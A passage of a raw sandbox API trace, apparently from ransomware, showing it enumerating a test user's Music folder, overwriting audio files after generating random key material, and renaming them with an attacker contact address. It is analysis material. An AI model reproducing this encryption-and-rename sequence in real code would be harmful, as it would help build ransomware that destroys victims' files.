[0049.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d118 [0049.418] wcscpy (in: _Dest=0x48d118, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.418] wcscat (in: _Dest=0x48d118, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.418] wcscat (in: _Dest=0x48d118, _Source="fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0049.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0049.419] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523b1ba0, ftCreationTime.dwHighDateTime=0x1d4d119, ftLastAccessTime.dwLowDateTime=0x28d09020, ftLastAccessTime.dwHighDateTime=0x1d4cf74, ftLastWriteTime.dwLowDateTime=0x28d09020, ftLastWriteTime.dwHighDateTime=0x1d4cf74, nFileSizeHigh=0x0, nFileSizeLow=0x15133, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAoxXstt8.mp3", cAlternateFileName="GAOXXS~1.MP3")) returned 1 [0049.419] wcscmp (_String1="GAoxXstt8.mp3", _String2=".") returned 1 [0049.419] wcscmp (_String1="GAoxXstt8.mp3", _String2="..") returned 1 [0049.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45ea38 [0049.419] wcscpy (in: _Dest=0x45ea38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.419] wcscat (in: _Dest=0x45ea38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.420] wcscat (in: _Dest=0x45ea38, _Source="GAoxXstt8.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3" [0049.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45ea38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0049.421] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fbdcf80, ftCreationTime.dwHighDateTime=0x1d4cd0e, ftLastAccessTime.dwLowDateTime=0xbff317e0, ftLastAccessTime.dwHighDateTime=0x1d4c89c, ftLastWriteTime.dwLowDateTime=0xbff317e0, ftLastWriteTime.dwHighDateTime=0x1d4c89c, nFileSizeHigh=0x0, nFileSizeLow=0x106fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="jlYuA07Zx.m4a", cAlternateFileName="JLYUA0~1.M4A")) returned 1 [0049.421] wcscmp (_String1="jlYuA07Zx.m4a", _String2=".") returned 1 [0049.421] wcscmp (_String1="jlYuA07Zx.m4a", _String2="..") returned 1 [0049.421] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45eab8 [0049.421] wcscpy (in: _Dest=0x45eab8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.421] wcscat (in: _Dest=0x45eab8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.421] wcscat (in: _Dest=0x45eab8, _Source="jlYuA07Zx.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\jlYuA07Zx.m4a" [0049.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45eab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0049.423] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2819d0, ftCreationTime.dwHighDateTime=0x1d4d112, ftLastAccessTime.dwLowDateTime=0xcb014bc0, ftLastAccessTime.dwHighDateTime=0x1d4c5d6, ftLastWriteTime.dwLowDateTime=0xcb014bc0, ftLastWriteTime.dwHighDateTime=0x1d4c5d6, nFileSizeHigh=0x0, nFileSizeLow=0x85b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KMbG1QRB8_i6.m4a", cAlternateFileName="KMBG1Q~1.M4A")) returned 1 [0049.423] wcscmp (_String1="KMbG1QRB8_i6.m4a", _String2=".") returned 1 [0049.423] wcscmp (_String1="KMbG1QRB8_i6.m4a", _String2="..") returned 1 [0049.423] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45eb38 [0049.423] wcscpy (in: _Dest=0x45eb38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.424] wcscat (in: _Dest=0x45eb38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.424] wcscat (in: _Dest=0x45eb38, _Source="KMbG1QRB8_i6.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\KMbG1QRB8_i6.m4a" [0049.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45eb38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0049.425] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfe4c370, ftCreationTime.dwHighDateTime=0x1d4d45d, ftLastAccessTime.dwLowDateTime=0x3451a8a0, ftLastAccessTime.dwHighDateTime=0x1d4cac2, ftLastWriteTime.dwLowDateTime=0x3451a8a0, ftLastWriteTime.dwHighDateTime=0x1d4cac2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="liivgKDKEOH24M -", cAlternateFileName="LIIVGK~1")) returned 1 [0049.425] wcscmp (_String1="liivgKDKEOH24M -", _String2=".") returned 1 [0049.425] wcscmp (_String1="liivgKDKEOH24M -", _String2="..") returned 1 [0049.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45ebb8 [0049.425] wcscpy (in: _Dest=0x45ebb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.425] wcscat (in: _Dest=0x45ebb8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.425] wcscat (in: _Dest=0x45ebb8, _Source="liivgKDKEOH24M -" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -" [0049.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45ebb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30 [0049.426] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfe4c370, ftCreationTime.dwHighDateTime=0x1d4d45d, ftLastAccessTime.dwLowDateTime=0x3451a8a0, ftLastAccessTime.dwHighDateTime=0x1d4cac2, ftLastWriteTime.dwLowDateTime=0x3451a8a0, ftLastWriteTime.dwHighDateTime=0x1d4cac2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="liivgKDKEOH24M -", cAlternateFileName="LIIVGK~1")) returned 0 [0049.426] FindClose (in: hFindFile=0x409d28 | out: hFindFile=0x409d28) returned 1 [0049.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42edf8) returned 1 [0049.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d4c0) returned 1 [0049.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a6d0) returned 1 Thread: id = 456 os_tid = 0xe10 [0049.219] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\d7bmtvrdqqhssbhmew.mp3")) returned 0x20 [0049.219] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3", dwFileAttributes=0x20) returned 1 [0060.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\d7bmtvrdqqhssbhmew.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x92c [0060.381] GetFileSizeEx (in: hFile=0x92c, lpFileSize=0xaddf7e4 | out: lpFileSize=0xaddf7e4*=7965) returned 1 [0060.381] SetFilePointerEx (in: hFile=0x92c, liDistanceToMove=0x1f19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.381] ReadFile (in: hFile=0x92c, lpBuffer=0xaddf768, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaddf764, lpOverlapped=0x0 | out: lpBuffer=0xaddf768*, lpNumberOfBytesRead=0xaddf764*=0x4, lpOverlapped=0x0) returned 1 [0060.382] SetFilePointerEx (in: hFile=0x92c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.382] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435990 [0060.382] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435a08 [0060.382] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435a30 [0060.382] NtQuerySystemTime (in: CurrentTime=0xaddf744 | out: CurrentTime=0xaddf744*=132174898243644000) returned 0x0 [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x5a623774 [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x2a134478 [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x5c8c9974 [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x6a3c1e57 [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x3387c0bd [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x1399a716 [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x537b84ef [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x1cdca3ad [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0xa8fee96 [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x4a82636 [0060.382] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x1c0667ed [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x2d23cdef [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x78c93292 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x4e777c05 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x57564b48 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x7f1ccf0e [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x17385a78 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x59e05268 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x5877947c [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x53b9f159 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x32a659f7 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x18fccc8d [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x4f38fb16 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x6dfe582c [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x203b011b [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x4f7f1c07 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x69aed311 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x5e035d95 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x1d32552d [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x556c9335 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x67ffcc80 [0060.383] RtlRandomEx (in: Seed=0xaddf750 | out: Seed=0xaddf750) returned 0x1ced42b6 [0060.396] ReadFile (in: hFile=0x92c, lpBuffer=0x19879058, nNumberOfBytesToRead=0x1f1d, lpNumberOfBytesRead=0xaddf740, lpOverlapped=0x0 | out: lpBuffer=0x19879058*, lpNumberOfBytesRead=0xaddf740*=0x1f1d, lpOverlapped=0x0) returned 1 [0060.396] SetFilePointerEx (in: hFile=0x92c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.396] WriteFile (in: hFile=0x92c, lpBuffer=0x19885860*, nNumberOfBytesToWrite=0x1f1d, lpNumberOfBytesWritten=0xaddf73c, lpOverlapped=0x0 | out: lpBuffer=0x19885860*, lpNumberOfBytesWritten=0xaddf73c*=0x1f1d, lpOverlapped=0x0) returned 1 [0062.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf3e8 [0062.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf370 [0062.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf370) returned 1 [0062.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19885860) returned 1 [0063.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19879058) returned 1 [0063.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aba0) returned 1 [0063.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c678) returned 1 [0063.129] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44c678 [0063.129] SetFilePointerEx (in: hFile=0x92c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.129] WriteFile (in: hFile=0x92c, lpBuffer=0x449d80*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0xaddf7a4, lpOverlapped=0x0 | out: lpBuffer=0x449d80*, lpNumberOfBytesWritten=0xaddf7a4*=0x11d, lpOverlapped=0x0) returned 1 [0063.143] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0063.143] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc58) returned 1 [0063.143] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05548) returned 1 [0063.143] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c678) returned 1 [0063.143] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3e8) returned 1 [0063.143] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435a08) returned 1 [0063.143] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435a58) returned 1 [0063.143] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435a80) returned 1 [0063.143] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0063.143] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3" [0063.143] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0063.143] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xaddf75c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D7bmtVRDqqHssbHmEw.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4620 [0063.145] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4620) returned 1 [0063.145] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d6e8) returned 1 [0063.145] NtQueryInformationFile (in: FileHandle=0x92c, IoStatusBlock=0xaddf768, FileInformation=0xaddf740, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xaddf768, FileInformation=0xaddf740) returned 0x0 [0063.145] NtSetInformationFile (FileHandle=0x92c, IoStatusBlock=0xaddf768, FileInformation=0xaddf740, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.147] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.147] FlushFileBuffers (hFile=0x92c) returned 1 [0066.212] CloseHandle (hObject=0x92c) Thread: id = 457 os_tid = 0xe14 [0049.219] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hq_yr2kg4mramvemat.m4a")) returned 0x20 [0049.219] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a", dwFileAttributes=0x20) returned 1 [0060.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hq_YR2Kg4mRaMvEMAt.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hq_yr2kg4mramvemat.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x930 [0060.397] GetFileSizeEx (in: hFile=0x930, lpFileSize=0xaedfd70 | out: lpFileSize=0xaedfd70*=52885) returned 1 [0060.397] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0xce91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.397] ReadFile (in: hFile=0x930, lpBuffer=0xaedfcf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaedfcf0, lpOverlapped=0x0 | out: lpBuffer=0xaedfcf4*, lpNumberOfBytesRead=0xaedfcf0*=0x4, lpOverlapped=0x0) returned 1 [0060.398] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.398] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435990 [0060.398] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435a30 [0060.398] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435aa8 [0060.398] NtQuerySystemTime (in: CurrentTime=0xaedfcd0 | out: CurrentTime=0xaedfcd0*=132174898243800000) returned 0x0 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x63528416 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x11b52883 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x443e6010 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0xe1023e7 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x35e79cc2 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0xaa52f4e [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x417d1783 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x2ca66f7c [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x242aba2 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x764cf595 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x1f324035 [0060.398] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0xd4173aa [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x781b8c36 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x72760295 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x1b302c2d [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x7ce20d36 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x441dcc9c [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x7c711396 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x290f4364 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x2286d599 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x24e65849 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x4ed0e82b [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x101c41e6 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x5af691cf [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x65345884 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x10966996 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x3a9235e6 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x17e8eabd [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x4062ac46 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x224e2c10 [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x9336eaf [0060.399] RtlRandomEx (in: Seed=0xaedfcdc | out: Seed=0xaedfcdc) returned 0x787c7d95 [0060.411] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.411] ReadFile (in: hFile=0x930, lpBuffer=0x19892068, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xaedfcb0, lpOverlapped=0x0 | out: lpBuffer=0x19892068*, lpNumberOfBytesRead=0xaedfcb0*=0xc800, lpOverlapped=0x0) returned 1 [0060.412] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c6c0 [0060.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43aab0 [0060.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435990 [0060.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435990) returned 1 [0060.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1989e870 [0060.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435990 [0060.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435aa8 [0060.417] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435aa8) returned 1 [0060.417] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aab0) returned 1 [0060.417] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c6c0) returned 1 [0060.417] WriteFile (in: hFile=0x930, lpBuffer=0x1989e870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xaedfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1989e870*, lpNumberOfBytesWritten=0xaedfcb0*=0xc800, lpOverlapped=0x0) returned 1 [0062.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1989e870) returned 1 [0063.142] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19892068) returned 1 [0063.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44c630 [0063.142] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 